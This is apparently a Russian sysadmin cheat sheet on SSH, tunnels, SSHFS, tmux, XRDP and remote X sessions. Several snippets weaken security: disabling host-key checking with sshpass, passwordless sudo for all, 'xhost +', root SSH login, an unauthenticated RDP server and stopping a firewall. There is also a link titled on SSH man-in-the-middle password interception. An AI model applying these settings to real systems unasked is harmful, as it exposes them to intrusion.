установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
https://github.com/anderspitman/awesome-tunneling
SSH-туннель вместо белого IP: как получить доступ к домашнему серверу
Выполнение UDP-туннелирования через SSH-соединение
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


доступ к узлам за NAT или с динамическим IP
https://github.com/gjedeer/tuntox
./tuntox -i -L 2222:127.0.0.1:22
ssh -p 2222 myuser@localhost
ssh -o ProxyCommand='./tuntox -i -W localhost:22' gdr@localhost


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
